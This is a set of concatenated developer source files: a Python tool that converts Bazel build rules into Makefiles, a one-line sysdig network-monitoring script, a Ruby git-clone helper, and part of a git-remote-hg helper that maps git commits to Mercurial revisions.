lines = s.count('\n') + 1 recipes = ['@mkdir -p %s' % p for p in _get_makedirs(self.get_outs())] if lines == 1: recipes.append(s) return None, tuple(recipes) script = self.label.resolve(self.label.name.path + '.sh') with open(script.path, 'wb') as fout: fout.write(GENRULE_SETUP) fout.write(s) os.chmod(script.path, 0755) recipes.extend('export ' + e for e in sorted(exports)) if lines <= GENRULE_ECHO_LINE_LIMIT: recipes.append('@printf "%%s\\n" %s' % _quote_sh(s.replace('$', '$$'))) recipes.append('@' + _quote_prog(script.path)) else: recipes.append(_quote_prog(script.path)) return script, tuple(recipes) def _sub1(self, m): var = m.group(1) or m.group(2) if var in FORBIDDEN_VARIABLES: raise self._complain_about_variable(var) remap = REMAPPED_VARIABLES.get(var) if remap is not None: return remap return m.group(0) def _sub2(self, exports, rules, m): var = m.group(1) or m.group(2) if var in PASSTHROUGH_VARIABLES: exports.add(var) return '${%s}' % var remap = REMAPPED_VARIABLES.get(var) if remap is not None: return remap if var.startswith(LOCATION_PREFIX): label = Label(var[len(LOCATION_PREFIX):]) return join(roll(self.label, [label], rules)) if var == '$': return '$' if var == '@': return str(self.get_outs().next()) if var == '<': return str(crawl(roll(self.label, self.srcs, rules)).next()) if var == '@D': root = self.get_root() if len(self.outs) == 1: return os.path.dirname(outs[0].inside(root).path) else: return self.label.inside(root).package.path if var == 'SRCS': return join(roll(self.label, self.srcs, rules)) if var == 'OUTS': return join(self.get_outs()) if var == 'SRCDIR': return self.label.repo.inside('').path if var == 'GENDIR': return self.label.repo.inside(GENDIR).path if var == 'BINDIR': return self.label.repo.inside(BINDIR).path raise self._complain_about_variable(var) class template_rule(Rule): def __init__(self, src, out, substitutions, **kwargs): super(template_rule, self).__init__(**kwargs) self.src = Label(src) self.out = Label(out) self.substitutions = substitutions @memoize def get_files(self, rules): return tuple(roll(self.label, [self.out], rules)) def write(self, writer, rules): with open(self.src.path, 'rb') as fin, open(self.out.path, 'wb') as fout: if self.substitutions: regex = re.compile( '(?:%s)' % '|'.join(re.escape(k) for k in self.substitutions)) fout.write(regex.sub(lambda m: self.substitutions[m.group(0)], fin.read())) else: fout.write(fin.read()) class CcArtifact(collections.namedtuple('CcArtifact', ('obj', 'src'))): __slots__ = () # enforces use of only tuple fields @property def is_src(self): return self.src is not None and self.obj is not None @property def is_hdr(self): return self.obj is None and self.src is not None @property def is_c(self): if self.src is not None: return self.src.ext in C_EXTS return False @property def is_cc(self): if self.src is not None: return self.src.ext in CC_EXTS return False @property def is_object(self): if self.obj is not None: return self.obj.ext in O_EXTS or self.obj.ext in O_PIC_EXTS return False @property def is_pic(self): if self.obj is not None: return self.obj.ext in O_PIC_EXTS return False @property def is_static(self): if self.obj is not None: return self.obj.ext in O_EXTS or self.obj.ext in A_EXTS return False @property def is_shared(self): if self.obj is not None: return self.obj.ext in SO_EXTS return False @property def is_s(self): if self.obj is not None: return self.obj.ext in S_EXTS return False @property def is_s_cpp(self): if self.obj is not None: return self.obj.ext in S_CPP_EXTS return False def get_recipe(self, cc, rules): if self.src is not None: if self.src.ext in CC_EXTS: return COMPILE_CC_PIC if self.obj.ext in O_PIC_EXTS else COMPILE_CC if self.src.ext in C_EXTS: return COMPILE_C_PIC if self.obj.ext in O_PIC_EXTS else COMPILE_C if self.src.ext in S_CPP_EXTS: return PREPROCESS if self.src.ext in S_EXTS: return COMPILE_S elif self.obj is not None: if self.obj.ext in SO_EXTS: return LINK_SO_C if cc.is_pure_c(rules) else LINK_SO_CC if self.obj.ext in A_EXTS: return ARCHIVE if self.obj.ext in EXE_EXTS: return LINK_C if cc.is_pure_c(rules) else LINK_CC return None class CcRule(Rule): def __init__(self, srcs=(), hdrs=(), textual_hdrs=(), copts=(), linkopts=(), defines=(), includes=(), alwayslink=False, linkstatic=False, **kwargs): super(CcRule, self).__init__(**kwargs) self.srcs = [Label(s) for s in srcs] self.hdrs = [Label(s) for s in hdrs] self.textual_hdrs = [Label(s) for s in textual_hdrs] self.copts = copts self.linkopts = linkopts self.defines = defines self.includes = [Label(s) for s in includes] self.alwayslink = bool(alwayslink) self.linkstatic = bool(linkstatic) def get_copts(self): if self.copts: if self.is_pure_c: return self.label.var('CFLAGS') else: return self.label.var('CXXFLAGS') return None def get_ldflags(self): if any(not _is_ldlib(s) for s in self.linkopts): return self.label.var('LDFLAGS') return None def get_ldlibs(self): if any(_is_ldlib(s) for s in self.linkopts): return self.label.var('LDLIBS') return None @memoize def transitive_headers(self, rules): return (roll(self.label, self.hdrs, rules), (rules[dep].transitive_headers(rules) for dep in self.deps)) @memoize def get_headers(self, rules): return (self.label.var('HEADERS') if self.hdrs else None, tuple(rules[dep].get_headers(rules) for dep in self.deps)) @memoize def get_cppflags(self, rules): return ((self.label.var('CPPFLAGS') if self.defines or self.includes else None), tuple(rules[dep].get_cppflags(rules) for dep in self.deps)) @memoize def get_artifacts(self, rules): info = _CcInfo() info.load(self, rules) return info.artifacts @memoize def _get_objs(self, rules): return tuple(_pick_binaries(self.get_artifacts(rules), want_pic=False)) @memoize def _get_pics(self, rules): return tuple(_pick_binaries(self.get_artifacts(rules), want_pic=True)) @memoize def is_pure_c(self, rules): return not (any(a.is_cc for a in self.get_artifacts(rules)) or any(not rules[dep].is_pure_c(rules) for dep in self.deps)) @memoize def get_repos(self, rules): return (self.label.repo, tuple(rules[dep].get_repos(rules) for dep in self.deps)) @memoize def get_includes(self, rules): return (self.includes, tuple(rules[dep].get_includes(rules) for dep in self.deps)) @memoize def sblinkt(self, rules): return (tuple(rules[dep].sblinkt(rules) for dep in self.deps), (self.label.var('SBLINKT' if self.alwayslink else 'SBLINK') if self._get_objs(rules) else None)) @memoize def sblinkf(self, rules): return (tuple(rules[dep].sblinkf(rules) for dep in self.deps), (self.label.var('SBLINKF' if self.alwayslink else 'SBLINK') if self._get_objs(rules) else None)) @memoize def splinkt(self, rules): return (tuple(rules[dep].splinkt(rules) for dep in self.deps), (self.label.var('SPLINKT' if self.alwayslink else 'SPLINK') if self._get_pics(rules) else None)) @memoize def splinkf(self, rules): return (tuple(rules[dep].splinkf(rules) for dep in self.deps), (self.label.var('SPLINKF' if self.alwayslink else 'SPLINK') if self._get_pics(rules) else None)) def _write_variables(self, writer, rules): writer.section(self.label.text) writer.variable(self.get_copts(), (Arg(s) for s in self.copts)) writer.variable(self.get_ldflags(), (Arg(s) for s in self.linkopts if not _is_ldlib(s))) writer.variable(self.get_cppflags(rules)[0], ((Arg('-D' + d) for d in self.defines), (Arg('-isystem ' + os.path.normpath(self.label.resolve(i).path)) for i in self.includes))) writer.variable(self.get_ldlibs(), (Arg(s) for s in self.linkopts if _is_ldlib(s))) writer.variable(self.get_headers(rules)[0], roll(self.label, self.hdrs, rules)) def _write_objects(self, writer, rules, want_pic=True): prules = tuple(crawl( PatternRule(os.path.join(a.obj.package.path, '%' + a.obj.ext), os.path.join(a.src.package.path, '%' + a.src.ext), a.get_recipe(self, rules)) for a in self.get_artifacts(rules) if a.is_src and (want_pic or not a.is_pic))) if not prules: return copts = join(self.get_copts()) iquotes = join(_make_throwaway_variable( writer, self.label.var('COMPILE_IQUOTES'), (Arg('-iquote %s' % r) for r in crawl(self.get_repos(rules))))) cppflags = join(_make_throwaway_variable( writer, self.label.var('COMPILE_CPPFLAGS'), self.get_cppflags(rules))) headers = join(_make_throwaway_variable( writer, self.label.var('COMPILE_HEADERS'), ((a.src for a in self.get_artifacts(rules) if a.is_hdr), self.textual_hdrs, self.get_headers(rules)))) for pr in prules: writer.rule(Text(pr.obj), (Text(pr.src), headers), ('@mkdir -p $(dir $@)', pr.recipe), copts=copts, cppflags=cppflags, iquotes=iquotes) def _write_archive(self, writer, rules): if not self._get_objs(rules): return arc = _get_binary(self.label, 'lib%s.a') writer.rule(arc, self._get_objs(rules), [ARCHIVE]) writer.variable(self.sblinkt(rules)[-1], arc) if self.alwayslink: writer.variable(self.sblinkf(rules)[-1], _always(self.sblinkt(rules)[-1])) def _write_pic_archive(self, writer, rules): if not self._get_pics(rules): return arc = _get_binary(self.label, 'lib%s.pic.a') writer.rule(arc, self._get_pics(rules), [ARCHIVE]) writer.variable(self.splinkt(rules)[-1], arc) if self.alwayslink: writer.variable(self.splinkf(rules)[-1], _always(self.splinkt(rules)[-1])) class _CcInfo(object): def __init__(self): self.artifacts = [] def load(self, cc, rules): for inc in crawl(roll(cc.label, cc.textual_hdrs, rules)): self.artifacts.append(CcArtifact(None, inc)) for src in crawl(roll(cc.label, cc.srcs, rules)): handler = _CcInfo._HANDLERS.get(src.ext) if handler is None: raise ValueError('no cc support for %r' % src) handler(self, src, cc) def _on_header(self, src, cc): self.artifacts.append(CcArtifact(None, src)) def _on_source(self, src, cc): obj_pic = _get_object(cc.label, src, '.pic.o') obj = _get_object(cc.label, src, '.o') self.artifacts.append(CcArtifact(obj_pic, src)) self.artifacts.append(CcArtifact(obj, src)) def _on_object(self, src, cc): self.artifacts.append(CcArtifact(src, None)) def _on_s_cpp(self, src, cc): pps = _get_object(cc.label, src, '.s') obj = _get_object(cc.label, src, '.o') self.artifacts.append(CcArtifact(pps, src)) self.artifacts.append(CcArtifact(obj, pps)) _TYPES = ((A_EXTS, _on_object), (CC_EXTS, _on_source), (C_EXTS, _on_source), (H_EXTS, _on_header), (O_EXTS, _on_object), (O_PIC_EXTS, _on_object), (SO_EXTS, _on_object), (S_CPP_EXTS, _on_s_cpp), (S_EXTS, _on_source)) _HANDLERS = {x: f for exts, f in _TYPES for x in exts} class cc_library(CcRule): @memoize def get_files(self, rules): if self.linkstatic: return (_get_binary(self.label, 'lib%s.a'), _get_binary(self.label, 'lib%s.pic.a')) else: return (_get_binary(self.label, 'lib%s.a'), _get_binary(self.label, 'lib%s.pic.a'), _get_binary(self.label, 'lib%s.so')) @memoize def linkt(self, rules): return (self.label.var('LINKT' if self.linkstatic else 'LINK') if self.is_linkable(rules) else (rules[dep].linkt(rules) for dep in self.deps)) @memoize def linkf(self, rules): return (self.label.var('LINKF' if self.linkstatic else 'LINK') if self.is_linkable(rules) else (rules[dep].linkf(rules) for dep in self.deps)) def is_linkable(self, rules): return self._get_objs(rules) def is_linkable(self, rules): return bool(self._get_objs(rules) or self._get_pics(rules)) def write(self, writer, rules): so = _get_binary(self.label, 'lib%s.so') self._write_variables(writer, rules) if not self.is_linkable(rules): return if self.linkstatic: writer.variable(self.linkt(rules), linkorder(((rules[dep].linkt(rules) for dep in self.deps), self.splinkt(rules)[-1]))) writer.variable(self.linkf(rules), linkorder(((rules[dep].linkf(rules) for dep in self.deps), self.splinkf(rules)[-1]))) else: writer.variable(self.label.var('LINK'), so) self._write_objects(writer, rules) self._write_archive(writer, rules) self._write_pic_archive(writer, rules) if not self.linkstatic: writer.rule( so, linkorder(((rules[dep].linkt(rules) for dep in self.deps), self.splinkt(rules)[-1])), [LINK_SO_C if self.is_pure_c(rules) else LINK_SO_CC], copts=join(self.get_copts()), ldflags=join(self.get_ldflags()), ldlibs=join(self.get_ldlibs()), links=join(linkorder(((rules[dep].linkf(rules) for dep in self.deps), _always(self.splinkt(rules)[-1]))))) class cc_binary(CcRule): def __init__(self, linkshared=False, alwayslink=True, linkstatic=True, **kwargs): super(cc_binary, self).__init__(alwayslink=alwayslink, linkstatic=linkstatic, **kwargs) self.linkshared = bool(linkshared) def get_files(self, rules): return (_get_binary(self.label, '%s'),) def linkt(self, rules): return self.label.var('LINK') if self.linkshared else None def linkf(self, rules): return self.label.var('LINK') if self.linkshared else None def write(self, writer, rules): out = _get_binary(self.label, '%s') self._write_variables(writer, rules) if self.linkshared: writer.variable(self.label.var('LINK'), out) self._write_objects(writer, rules, want_pic=True) self._write_pic_archive(writer, rules) writer.rule( out, linkorder(self.splinkt(rules)), [LINK_SO_C if self.is_pure_c(rules) else LINK_SO_CC], copts=join(self.get_copts()), ldflags=join(self.get_ldflags()), ldlibs=join(self.get_ldlibs()), links=join(linkorder(self.splinkf(rules)))) else: self._write_objects(writer, rules, want_pic=False) self._write_archive(writer, rules) writer.rule( out, linkorder(self.sblinkt(rules)), [LINK_C if self.is_pure_c(rules) else LINK_CC], copts=join(self.get_copts()), ldflags=join(self.get_ldflags()), ldlibs=join(self.get_ldlibs()), links=join(linkorder(self.sblinkf(rules)))) class sh_binary(Rule): def __init__(self, srcs=(), **kwargs): super(sh_binary, self).__init__(**kwargs) self.srcs = [Label(s) for s in srcs] def get_files(self, rules): return tuple(crawl(roll(self.label, self.srcs, rules))) class proto_gen(genrule): def __init__(self, includes=(), protoc=None, plugin_language='', gen_cc=False, gen_py=False, **kwargs): super(proto_gen, self).__init__(tools=[protoc], **kwargs) self.includes = includes self.protoc = Label(protoc) self.plugin_language = plugin_language self.gen_cc = bool(gen_cc) self.gen_py = bool(gen_py) def get_cmd(self, rules): cmd = ['$(location %s)' % self.protoc.text, '-I.'] # TODO: Fix this hack cmd.append('-Iprotobuf_archive/src') for inc in self.includes: cmd.append('-I$(@D)/%s' % inc) if self.gen_cc: cmd.append('--cpp_out=$(SRCDIR)') if self.gen_py: cmd.append('--python_out=$(SRCDIR)') cmd.append('$(SRCS)') return ' '.join(cmd) def _is_ldlib(linkopt): return linkopt.startswith(LDLIBS_PREFIXES) def _query(output, expression): return subprocess.Popen( ['bazel', 'query', '--output=' + output, expression], stdout=subprocess.PIPE).stdout def _read_build(fp): s = fp.read() p = 0 while p < len(s): eol = s.index('\n', p) location = s[p + 2:eol] eor = s.find('\n# ', p) if eor == -1: eor = len(s) rule = s[p:eor] m = re.search(r'name = "([^"]+)', rule) yield (location, m.group(1)), rule p = eor + 1 def _quote_prog(s): if '/' not in s: s = './' + s return _quote_sh(s) def _quote_sh(s): if SH_SPECIAL_CHARACTERS_PATTERN.search(s) is None: return s else: return "'%s'" % s.replace("'", "'\"'\"'") def _always(s): return None if s is None else Text('$(WA) %s $(NOWA)' % s) def _complain_about_variable(var): raise ValueError('Bazel does not support $(%s); try using vardef()' % var) def _quote_genrule(s): return s.replace('$', '$$') def _get_binary(label, fmt): return label.resolve(fmt % label.name.path).inside(BINDIR) def _get_objects_package(label): package = os.path.join(label.package.path, '_objs', label.name.path) return Label('//' + package, BINDIR) def _get_object(label, src, ext): return _get_objects_package(label).resolve(src.name.extless.path + ext) def _pick_binaries(artifacts, want_pic): # We can't have .pic.o files for gas objects since the author is # responsible for writing position independent assembly if he needs # it. The same applies to to objects haphazardly tossed in srcs. artifacts = [a for a in artifacts if a.obj is not None] result = collections.OrderedDict() for artifact in artifacts: if artifact.is_pic != want_pic: result[artifact.obj.extless] = artifact for artifact in artifacts: if artifact.is_pic == want_pic: result[artifact.obj.extless] = artifact return (a.obj for a in result.values()) def _make_throwaway_variable(writer, var, values): values = tuple(crawl(values)) if not values: return None if len(values) == 1: return values[0] writer.variable(var, values) return var def _componentize(path): return tuple(c for c in str(path).split('/') if c not in ('', '.')) def _trace(items): return (items[:i] for i in range(len(items), -1, -1)) def _get_leaves(componentized_paths): exists = set() for path in sorted(componentized_paths, reverse=True): if path in exists: continue yield path exists.update(_trace(path)) def _get_makedirs(paths, known=None): known = known or set([()]) leaves = set(_get_leaves(_componentize(p)[:-1] for p in paths)) return sorted(os.path.join(*c) for c in leaves - known) def main(args): parser = argparse.ArgumentParser(prog='blakefiler', description=__doc__) parser.add_argument( 'tips', metavar='LABEL', type=str, nargs='+', help='Tree tips of build graph to view the forest.') parser.add_argument( '-o', '--output', dest='output', metavar='PATH', type=str, default='blake', help='Output directory for project; default: %(default)s') parser.add_argument( '-c', '--compilation_mode', metavar='fastbuild|dbg|opt', type=str, default='fastbuild', help='Default setting for C/C++ compilation; default: %(default)s') parser.add_argument( '-D', '--define', dest='defines', metavar='KEY=VALUE', action='append', default=(), help=('Adds key=value predicate for config_setting(define_values); ' 'default: %(default)s')) for metavar, flag, default in DEFAULT_CONFIG_VALUES: parser.add_argument( '--' + flag, metavar=metavar, type=str, default=default, help=('Predicate for config_setting(values[%s]); default: %s' % (flag, default))) flags = parser.parse_args(args) selector = Selector(vars(flags), dict(s.split('=', 1) for s in flags.defines)) build = Build(selector) build.load(' union '.join('deps(%s)' % t for t in flags.tips)) def callback(writer): writer.comment(HEADER) writer.stick() writer.comment('blakefiler ' + ' '.join(args)) writer.unstick() writer.variable(Variable('COMPILATION_MODE'), Text(flags.compilation_mode)) writer.variable(Variable('TARGET_CPU'), Text(flags.cpu)) writer.variable(Variable('ANDROID_CPU'), Text(flags.android_cpu)) writer.write('\n') writer.write(DEFINITIONS) writer.unstick() make_source_tree(flags.output, build.sources, build.rules, callback) if __name__ == '__main__': main(sys.argv[1:]) <file_sep>#!/bin/bash sudoifnotroot sysdig -c topprocs_net <file_sep>#!/usr/bin/env ruby ######################################################################## gem 'slop', "~> 3.6" require 'slop' require 'pty' ######################################################################## # # TODO: # - `gc -w` clones the wiki (if not already cloned) # ######################################################################## def parse_options opts = Slop.parse(strict: true) do banner "Usage: gc [options] <git-url or github-user/repo> [<destination directory>]" # on "s", "shallow", "Shallow clone (without history)" on "a", "all-history", "Clone all history (default is to do a shallow (--depth=1) clone)" on "b", "bare", "Create a bare repository (no checkout)" on "N", "no-recursion", "Don't automatically clone submodules" on "r", "remote-submodules", "Submodules track their remote HEADs (instead of being locked to a specific commit)" on "w", "wiki", "Clone the wiki (and place it in {reponame}/wiki)" on "e", "edit", "Open the repo in an editor (hardwired to 'subl')" on "c=", "branch", "Checkout a specific branch after cloning" on "h", "help", "You're currently reading it" end [opts, ARGV] end class Object def in?(a); a.include? self; end def not_in?(a); not self.in? a; end end def git_remote_url `git remote get-url origin`.chomp end def git_repo_root_dir return nil if Dir.pwd == "/" return Dir.pwd if File.directory?(".git") Dir.chdir("..") { git_repo_root_dir } end def clone(repo, dest=nil, branch: nil, shallow: true, recursive: true, remote_submodules: false, bare: false) print "\e[37m\e[1m#{"Shallow " if shallow}Cloning \e[0m\e[33m\e[1m#{repo}\e[0m" print " into \e[0m\e[36m\e[1m#{dest}\e[0m\e[37m\e[0m" if dest puts cmd = ["git", "clone"] cmd += ["--depth=1", "--shallow-submodules"] if shallow cmd << "--bare" if bare cmd << "--recurse-submodules" if recursive cmd << "--remote-submodules" if remote_submodules cmd += ["-b", branch] if branch cmd << repo cmd << dest if dest # Clone it reponame = nil PTY.spawn(*cmd) do |r, w, pid| begin loop do line = r.readpartial(4096) print line if line =~ /Cloning into '([^']+)'/ reponame ||= $1 elsif line =~ /destination path .+ already exists/ exit 1 end end rescue Errno::EIO end end reponame end ######################################################################## # Option handling opts, args = parse_options if opts[:help] or (args.empty? and not opts.wiki?) puts opts exit 1 end # `gc -w` clones the wiki into a pre-existing git repo if args.empty? and opts.wiki? if dir = git_repo_root_dir Dir.chdir(dir) do wiki = git_remote_url.sub(/(\/$|\.git$|$)/, ".wiki.git") clone(wiki, "wiki", shallow: opts[:shallow]) puts homepage = "wiki/Home.md" system("c", homepage) if File.exists?(homepage) end else $stderr.puts "ERROR: Couldn't find the .git directory. Are you running this from within a git repo?" end exit end repo, dest = args unless File.exists? repo case repo when %r{^[\w\-]+/[\w\-\.]+/?$} # user left off https://github.com/; fill it in! repo = "https://github.com/#{repo}" when %r{^github\.com/.+} # user left off https://; fill it in! repo = "https://#{repo}" when %r{^https?://sr.ht/~\w+/\w+} repo = repo.gsub("sr.ht", "git.sr.ht") # else # puts "#{repo} is unhandled" end end if dest and File.exists?(dest) puts "Error: destination #{dest.inspect} already exists" exit 1 end reponame = clone( repo, dest, branch: opts[:branch], bare: opts[:bare], recursive: !opts["no-recursion"], shallow: !opts[:all], remote_submodules: opts["remote-submodules"] ) ######################################################################## # Open editor, show README if reponame fork { exec("subl", reponame) } if opts.edit? readmes = Dir.foreach(reponame).select { |f| f[/^readme/i] }.sort_by(&:size) if readme = readmes.first Dir.chdir(reponame) if opts.wiki? wiki = repo.sub(/(\/$|\.git$|$)/, ".wiki.git") clone(wiki, "wiki", shallow: opts[:shallow]) end args = [readme] args << "wiki" if opts.wiki? system("c", *args) end end <file_sep>#!/usr/bin/env python # # Copyright (c) 2016 <NAME> # https://github.com/mnauw/git-remote-hg # from mercurial import hg, ui, commands, util from mercurial import context, subrepo import re import sys import os import subprocess import argparse import textwrap import logging import threading # thanks go to git-remote-helper for some helper functions # likewise so for python2/3 compatibility # generic class basecompat: @staticmethod def char(c): assert len(c) == 1 return c[0] if sys.version_info[0] == 3: import locale class compat(basecompat): # sigh ... wonderful python3 ... as taken from Mercurial's pycompat @staticmethod def decode_sysarg(arg): if os.name == r'nt': return arg.encode("mbcs", "ignore") else: enc = ( locale.getlocale()[1] or locale.getdefaultlocale()[1] or sys.getfilesystemencoding() ) return arg.encode(enc, "surrogateescape") # mostly used for straight 'cast' (not real unicode content) @staticmethod def to_b(s, *args): if isinstance(s, str): args = args or ['latin-1'] return s.encode(*args) return s stdin = sys.stdin.buffer stdout = sys.stdout.buffer stderr = sys.stderr.buffer getcwd = os.getcwdb getenv = os.getenvb if os.supports_bytes_environ else os.getenv else: class compat(basecompat): # life was simple in those days ... @staticmethod def to_b(s, *args): return s decode_sysarg = to_b stdin = sys.stdin stdout = sys.stdout stderr = sys.stderr getcwd = staticmethod(os.getcwd) getenv = staticmethod(os.getenv) def puts(msg = b''): compat.stdout.write(msg) compat.stdout.write(b'\n') def die(msg): compat.stderr.write(b'ERROR: %s\n' % compat.to_b(msg, 'utf-8')) sys.exit(1) def warn(msg): compat.stderr.write(b'WARNING: %s\n' % compat.to_b(msg, 'utf-8')) compat.stderr.flush() def info(msg, *args): logger.info(msg, *args) def debug(msg, *args): logger.debug(msg, *args) def log(msg, *args): logger.log(logging.LOG, msg, *args) def import_sibling(mod, filename): import imp mydir = os.path.dirname(__file__) sys.dont_write_bytecode = True return imp.load_source(mod, os.path.join(mydir, filename)) class GitHgRepo: def __init__(self, topdir=None, gitdir=None): if gitdir != None: self.gitdir = gitdir self.topdir = os.path.join(gitdir, b'..') # will have to do else: self.topdir = None if not topdir: topdir = self.run_cmd(['rev-parse', '--show-cdup']).strip() if not topdir: if not os.path.exists('.git'): # now we lost where we are raise Exception('failed to determine topdir') topdir = b'.' self.topdir = topdir self.gitdir = self.run_cmd(['rev-parse', '--git-dir']).strip() if not self.gitdir: raise Exception('failed to determine gitdir') # the above was run in topdir if not os.path.isabs(self.gitdir): self.gitdir = os.path.join(self.topdir, self.gitdir) self.hg_repos = {} def identity(self): return b'[%s|%s]' % (compat.getcwd(), self.topdir or b'') def start_cmd(self, args, **kwargs): cmd = ['git'] + args popen_options = { 'cwd': self.topdir, 'stdout': subprocess.PIPE, 'stderr': subprocess.PIPE } popen_options.update(kwargs) log('%s running cmd %s with options %s', self.identity(), cmd, popen_options) process = subprocess.Popen(cmd, **popen_options) return process # run a git cmd in repo dir, captures stdout and stderr by default # override in kwargs if otherwise desired def run_cmd(self, args, check=False, **kwargs): process = self.start_cmd(args, **kwargs) output = process.communicate()[0] if check and process.returncode != 0: die(b'command failed: %s' % b' '.join([compat.to_b(a) for a in cmd])) return output def get_config(self, config, getall=False): get = { True : '--get-all', False: '--get' } cmd = ['git', 'config', get[getall] , config] return self.run_cmd(['config', get[getall] , config], stderr=None) def get_config_bool(self, config, default=False): value = self.get_config(config).rstrip() if value == b"true": return True elif value == b"false": return False else: return default def get_hg_repo_url(self, remote): url = self.get_config(b'remote.%s.url' % (remote)) if url and url[0:4] == b'hg::': url = url[4:].strip() else: url = None return url def get_hg_rev(self, commit): hgrev = self.run_cmd(['notes', '--ref', 'refs/notes/hg', 'show', commit]) return hgrev def rev_parse(self, ref): args = [ref] if not isinstance(ref, list) else ref args[0:0] = ['rev-parse', '--verify', '-q'] return self.run_cmd(args).strip() def update_ref(self, ref, value): self.run_cmd(['update-ref', '-m', 'update by helper', ref, value]) # let's check it happened return git_rev_parse(ref) == git_rev_parse(value) def cat_file(self, ref): return self.run_cmd(['cat-file', '-p', ref]) def get_git_commit(self, rev): remotehg = import_sibling('remotehg', 'git-remote-hg') for r in self.get_hg_repos(): try: hgpath = remotehg.select_marks_dir(r, self.gitdir, False) m = remotehg.Marks(os.path.join(hgpath, b'marks-hg'), None) mark = m.from_rev(rev) m = GitMarks(os.path.join(hgpath, b'marks-git')) return m.to_rev(mark) except: pass # returns dict: (alias: local hg repo dir) def get_hg_repos(self): # minor caching if self.hg_repos: return self.hg_repos # check any local hg repo to see if rev is in there shared_path = os.path.join(self.gitdir, b'hg') hg_path = os.path.join(shared_path, b'.hg') if os.path.exists(shared_path): repos = os.listdir(shared_path) for r in repos: # skip the shared repo if r == b'.hg': continue # only dirs if not os.path.isdir(os.path.join(shared_path, r)): continue local_path = os.path.join(shared_path, r, b'clone') local_hg = os.path.join(local_path, b'.hg') if not os.path.exists(local_hg): # could be a local repo without proxy, fetch url local_path = self.get_hg_repo_url(r) if not local_path: warn(b'failed to find local hg for remote %s' % (r)) continue else: # make sure the shared path is always up-to-date util.writefile(os.path.join(local_hg, b'sharedpath'), os.path.abspath(hg_path)) self.hg_repos[r] = os.path.join(local_path) log('%s determined hg_repos %s', self.identity(), self.hg_repos) return self.hg_repos # returns hg repo object def get_hg_repo(self, r): repos = self.get_hg_repos() if r in repos: local_path = repos[r] hushui = ui.ui.load() if hasattr(ui.ui, 'load') else ui.ui() hushui.setconfig(b'ui', b'interactive', b'off') hushui.fout = open(os.devnull, 'wb') return hg.repository(hushui, local_path) def find_hg_repo(self, rev): repos = self.get_hg_repos() for r in repos: srepo = self.get_hg_repo(r) # if this one had it, we are done if srepo and rev in srepo and srepo[rev]: return srepo def rev_describe(self, rev): result = self.run_cmd(['describe', rev]) or \ self.run_cmd(['describe', '--tags', rev]) or \ self.run_cmd(['describe', '--contains', rev]) or \ self.run_cmd(['describe', '--all', '--always', rev]) return result.strip() class dictmemctx(context.memctx): def __init__(self, repo, files): p1, p2, data = repo[None], '0' * 40, '' context.memctx.__init__(self, repo, (p1, p2), data, list(files.keys()), self.getfilectx) self.files = files self.remotehg = import_sibling('remotehg', 'git-remote-hg') self.remotehg.hg_version = hg_version def __contains__(self, item): return item in self.files def getfilectx(self, repo, memctx, path): is_exec = is_link = rename = False return self.remotehg.make_memfilectx(repo, memctx, path, self.files[path], is_link, is_exec, rename) def read(self, relpath, rev=None): rev = rev if rev else b':0' obj = b'%s:%s' % (rev, relpath) # might complain bitterly to stderr if no subrepos so let's not show that return self.run_cmd(['show', obj]) # see also subrepo.state def state(self, remote=b'origin', rev=None): """return a state dict, mapping subrepo paths configured in .hgsub to tuple: (source from .hgsub, revision from .hgsubstate, kind (key in types dict)) """ # obtain relevant files' content from specified revision files = { } for f in (b'.hgsub', b'.hgsubstate'): files[f] = self.read(f) log('state files for %s in revision %s:\n%s', remote, rev, files) # wrap in a context and delegate to subrepo # (rather than duplicating the admittedly simple parsing here) repo = self.get_hg_repo(remote) if not repo: die(b'no hg repo for alias %s' % remote) ctx = self.dictmemctx(repo, files) # helpers moved around 4.6 if hasattr(subrepo, 'state'): state = subrepo.state(ctx, ui.ui()) else: from mercurial import subrepoutil state = subrepoutil.state(ctx, ui.ui()) log('obtained state %s', state) # now filter on type and resolve relative urls import posixpath resolved = {} for s in state: src, rev, kind = state[s] if not kind in (b'hg', b'git'): warn('skipping unsupported subrepo type %s' % kind) continue if not util.url(src).isabs(): parent = self.get_hg_repo_url(remote) if not parent: die(b'could not determine repo url of %s' % remote) parent = util.url(parent) parent.path = posixpath.join(parent.path or b'', src) parent.path = posixpath.normpath(parent.path) src = bytes(parent) # translate to git view url if kind == b'hg': src = b'hg::' + src resolved[s] = (src.strip(), rev or b'', kind) log('resolved state %s', resolved) return resolved class SubCommand: def __init__(self, subcmdname, githgrepo): self.subcommand = subcmdname self.githgrepo = githgrepo self.argparser = self.argumentparser() # list of str self.args = [] def argumentparser(self): return argparse.ArgumentParser() def get_remote(self, args): if len(args): assert isinstance(args[0], bytes) return (args[0], args[1:]) else: self.usage('missing argument: <remote-alias>') def get_remote_url_hg(self, remote): url = self.githgrepo.get_hg_repo_url(remote) if not url: self.usage('%s is not a remote hg repository' % (remote)) return url def execute(self, args): (self.options, self.args) = self.argparser.parse_known_args(args) self.do(self.options, [compat.decode_sysarg(a) for a in self.args]) def usage(self, msg): if msg: self.argparser.error(msg) else: self.argparser.print_usage(sys.stderr) sys.exit(2) # args: list of bytes def do(self, options, args): pass class HgRevCommand(SubCommand): def argumentparser(self): usage = '%%(prog)s %s [options] <commit-ish>' % (self.subcommand) p = argparse.ArgumentParser(usage=usage) p.epilog = textwrap.dedent("""\ Determines the hg revision corresponding to <commit-ish>. """) return p def do(self, options, args): if len(args): hgrev = self.githgrepo.get_hg_rev(args[0]) if hgrev: puts(hgrev) class GitMarks: def __init__(self, path): self.path = path self.clear() self.load() def clear(self): self.marks = {} self.rev_marks = {} def load(self): if not os.path.exists(self.path): return for l in open(self.path, 'rb'): m, c = l.strip().split(b' ', 2) m = int(m[1:]) self.marks[c] = m self.rev_marks[m] = c def store(self): marks = list(self.rev_marks.keys()) marks.sort() with open(self.path, 'wb') as f: for m in marks: f.write(b':%d %s\n' % (m, self.rev_marks[m])) def from_rev(self, rev): return self.marks[rev] def to_rev(self, mark): return self.rev_marks[mark] class GitRevCommand(SubCommand): def argumentparser(self): usage = '%%(prog)s %s [options] <revision>' % (self.subcommand) p = argparse.ArgumentParser(usage=usage) p.epilog = textwrap.dedent("""\ Determines the git commit id corresponding to hg <revision>. """) return p def do(self, options, args): if len(args): rev = args[0] gitcommit = self.githgrepo.get_git_commit(rev) if gitcommit: puts(gitcommit) class GcCommand(SubCommand): def argumentparser(self): usage = '%%(prog)s %s [options] <remote>...' % (self.subcommand) p = argparse.ArgumentParser(usage=usage, \ formatter_class=argparse.RawDescriptionHelpFormatter) p.add_argument('--check-hg', action='store_true', help='also prune invalid hg revisions') 